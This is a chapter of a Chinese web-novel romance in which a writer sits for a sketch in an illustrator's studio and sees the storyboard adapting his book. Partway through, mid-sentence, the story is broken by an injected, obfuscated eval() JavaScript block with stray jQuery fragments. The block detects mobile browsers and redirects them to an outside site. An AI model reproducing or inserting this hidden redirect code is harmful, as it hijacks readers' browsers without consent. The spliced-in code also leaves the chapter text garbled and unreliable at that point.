那天之后，林昱开始注意一些以前从来不会注意的东西。
比如楼下那棵梧桐。他每天出门都会看一眼——树冠确实往东边歪，东边那栋楼挡了阳光，树自己往有光的地方长。
比如便利店的招牌。他买了三年东西，从来没注意过“好邻居”三个字是什么字体。现在他知道了，是楷体，红色，晚上会亮灯。
比如他自己。
他照镜子的次数变多了。不是自恋，是好奇——沈遂宁看他的时候，到底看见了什么？
那张纸片还夹在书里。他没再拿出来看，但知道它在那儿。
周姐打电话来问进展，他说“还行”。周姐问见面聊得怎么样，他说“挺好”。周姐问那到底什么时候开始画，他说“下周”。
下周。下个周。他也不知道具体是哪天。
沈遂宁没再发消息。
林昱想：可能就这样了。那天来看了，画了，说了“够画你”，然后就没有然后了。
他把手机放在桌上，打开电脑，继续写新书。
写了三行，手机亮了。
不是消息，是微博推送。
“您关注的用户@沈遂宁发布了新动态。”
林昱愣了一下。
他什么时候关注了沈遂宁？好像没有。但推送不会错。
他点进去。
沈遂宁的微博，粉丝八百多万，关注0，半年没更新。上一次更新还是去年画展的宣传。
现在最新一条，五分钟前发的。
没有配图。只有一句话：
“分镜画完了。下周可以开始。”
林昱盯着那行字。
分镜画完了。下周可以开始。
开始什么？开始改编？开始画正稿？开始——什么？
他往下翻评论。
热评第一：“？老师您终于活了”
热评第二：“所以您在画什么？”
热评第三：“是不是上次说的那本书？《神弭》？”
热评第四：“老师您能不能多说两句”
沈遂宁一条都没回。
林昱看着那条微博，看了很久。
他发现自己不知道该不该点赞。点赞吧，太刻意。不点赞吧，他看到了，沈遂宁那边会不会有“已读”之类的提示？
他不知道。他什么都不知道。
手机又亮了。
沈遂宁：
“看到了？”
林昱打字的手顿了一下。
“什么？”
“微博。”
林昱想了想，回：
“嗯。”
“那下周。”
林昱盯着那个“那下周”，不知道什么意思。
下周什么？下周见面？下周发分镜？下周
他打字：
“下周？”
“周二下午。方便吗？”
林昱松了一口气。
“方便。”
“好。”
就一个“好”。没了。
林昱看着那个“好”，忽然想起一个问题。
他打字：
“去哪儿？”
沈遂宁回得很快：
“我工作室。”
然后发来一个地址。
林昱点开看。东四环，一个艺术区，他听过，没去过。
“行。”
对面正在输入。
然后：
“你来过这边吗？”
“没有。”
“那我下楼接你。”
林昱看着那行字，不知道该回什么。
最后他回了一个字：
“好。”
发完他把手机扣在桌上。
窗外的阳光照进来，落在他手背上。
他发现自己好像有点期待周二。
周二下午一点半，林昱站在东四环那个艺术区门口。
比他想象中安静。红砖厂房改造的，墙上爬着爬山虎，有些叶子已经红了。偶尔有几个人走过，背着画筒或者相机，看他一眼，然后走开。
他低头看了一眼自己今天穿的。
不是灰卫衣了。是一件浅蓝色的衬衫，领口扣到第二颗，外面套了一件薄毛衣。裤子是深色的，鞋是白色的——干净的，新刷的。
他也不知道自己为什么换了这么一身。
又不是去相亲。
他站在门口，拿出手机，准备发消息说“我到了”。
刚解锁，就看见一个人从里面走出来。
黑色外套，帆布包，头发比上周长了一点，被风吹得有点乱。
沈遂宁。
他走过来，站在林昱面前，低头看他。
“到了？”
“刚到。”
沈遂宁没说话，转身往里走。
林昱跟上。
两个人一前一后，穿过一条两边都是画室的巷子。墙上有些涂鸦，地上有几片落叶。林昱踩着落叶走，发出轻微的咔嚓声。
沈遂宁在一扇灰色的铁门前停下，推开，侧身让开。
林昱走进去。
然后他停住了。
不是想象中的那种画室。不是那种摆满画架、颜料到处都是、乱糟糟的地方。
很大。很空。很高。
一面墙全是窗户，阳光从外面照进来，落在地板上，一块一块的亮。另一面墙挂满了画——不是成品，是草稿，各种尺寸，各种角度，各种人。
角落里有一张很大的工作台，上面堆着速写本、铅笔、颜料、咖啡杯。咖啡杯里还有半杯，应该是不久前喝的。
中间空荡荡的，只有一把椅子。
一把普通的木椅，放在阳光正中央。
沈遂宁走过去，把帆布包放在工作台上，转过身看他。
“坐。”
林昱看了一眼那把椅子。
“坐那儿？”
“嗯。”
林昱走过去，坐下。
阳光正好落在身上，有点晃眼。
他看着沈遂宁。
沈遂宁没看他。他从工作台上拿起一个速写本，翻开，然后抬起头，看他。
“就这样坐着。”
林昱愣了一下。
“就这样？”
“嗯。”
“多久？”
沈遂宁想了想。
“画完这张。”
林昱张了张嘴，想说什么，但什么都没说出来。
他坐在阳光里，看着沈遂宁低头，铅笔落在纸上，发出很轻的沙沙声。
画室里很安静。只有铅笔的声音，和远处隐约的车声。
林昱不知道坐了多久。五分钟？十分钟？他不敢动，怕一动就打扰了。
他看着沈遂宁。
沈遂宁低着头，侧脸被阳光照出轮廓。鼻梁很高，眉骨很深，睫毛在眼睑下投下一小片阴影。他画画的时候很专注，眉头微微皱着，嘴唇抿着，偶尔抬起眼看林昱一眼，然后又低下头。
那种目光——不是打量，是“在看”。像第一次见面时那样，专注的，安静的，把你从头到尾收进眼睛里。
林昱被看得有点不自在，但又移不开眼。
他发现自己在看沈遂宁。
看他怎么低头。看他怎么抬眼看过来。看他怎么落笔。
阳光从窗户移了一点，落在他脚边。
沈遂宁停笔。
“好了。”
林昱松了一口气，又有点失落。
“我看看？”
沈遂宁把速写本转过来，递给他。
林昱低头看。
画上是同一个人——坐在阳光里，身后是大片的留白，只有他那一块是亮的。线条很少，很简单，但你一眼就能看出来那是谁。
是他。
是坐在那把椅子上的他。
“这张叫什么？”林昱问。
沈遂宁看着他。
“没想好。”
林昱把速写本还给他。
沈遂宁接过来，合上，放回工作台。
“分镜在那边。”他指了指工作台另一头，“要看吗？”
林昱站起来，走过去。
一叠纸，用夹子夹着，封面写着“神弭·分镜”。
他翻开。
每一页都是他的小说，被拆成格子，一格一格地画出来。男主角的表情、动作、眼神，女主角的侧脸、背影、沉默。雨、夜、窗、灯。
他看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301764|198663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着那些画，忽然想起自己写这本书的时候。
凌晨三点，一个人坐在电脑前，写那些他从未说出口的话。
现在那些话被画出来了。
不是他的文字，是沈遂宁的画。
但他看懂了。
每一格他都看懂了。
“你……”他抬起头，看着沈遂宁，“你怎么知道我写的时候在想什么？”
沈遂宁没回答。他走过来，站在林昱旁边，低头看了一眼分镜。
“你写的时候，”他说，“想的什么？”
林昱张了张嘴。
他想说：想一个我从未见过的人。想一个永远不会出现的人。想一个我只能在纸上遇见的人。
但他没说。
他只是摇了摇头。
“没什么。”
沈遂宁看着他。
两秒。三秒。
然后他说：
“那我猜对了。”
林昱愣了一下。
“猜对什么？”
沈遂宁没回答。他伸出手，翻到分镜的最后一页，指了指其中一个格子。
那个格子里，男主角站在窗边，背对着画面。窗外是夜，屋里是灯，他的影子落在地板上，很长。
“这一格，”沈遂宁说，“你写的是，他一个人在等。”
林昱没说话。
“等什么，你没写。”沈遂宁看着他，“但你写的时候，心里有人在等。”
林昱看着那幅画，看了很久。
“你怎么知道？”
沈遂宁没回答。他只是看着林昱，目光很静。
画室里的阳光又移了一点，落在地板上，温的。
林昱忽然发现自己不知道该说什么。
他想说：没有，我没有等谁。我一个人挺好的。写一个人比爱一个人安全。
但他什么都没说。
因为他想起那句话——
够画你。
这个人画他，不是因为看见了他。
是因为看懂了他。
林昱从画室出来的时候，天已经快黑了。
他在门口站了一会儿，回头看那扇灰色的铁门。
沈遂宁没送他，只是站在门口说了句“下周见”。
下周见。
他发现自己好像开始期待“下周”了。
手机响了。周姐的消息：
“怎么样？今天去画室了？”
“嗯。”
“怎么样？”
林昱想了想，打字：
“他把分镜画完了。”
“这么快？你看了吗？怎么样？”
林昱看着那行字，不知道该怎么回。
怎么样？
他想起那些画。想起阳光落在自己身上。想起沈遂宁低头看他的目光。
想起那句
你写的时候，心里有人在等。
他打字：
“挺好。”
发完他把手机收起来，往地铁站走。
风有点凉了，吹在脸上很舒服。
他走着走着，忽然想起一件事。
今天一下午，沈遂宁没问过他那个问题。
没问他是Alpha还是Omega。
没问他的信息素是什么。
什么都没问。
只是画他。
他摸了一下自己的后颈——那个什么也感知不到、什么也释放不出的地方。
他想起医生说：你这种情况，很难找到愿意接受你的人。
他从来没在乎过。
现在他忽然有点不确定了。
不是不确定自己。
是不确定
如果有人愿意接受，他敢不敢接受。
地铁进站的风吹过来，凉凉的。
他走进去，找了一个角落站着。
窗外的灯光一闪一闪地过去。
他想起那幅画，那张坐在阳光里的自己。
他想起那行字还没起名字。
他想起沈遂宁说“下周见”。
他发现自己嘴角好像动了一下。
很轻。
像是一个自己都没察觉的笑。
（第三章完）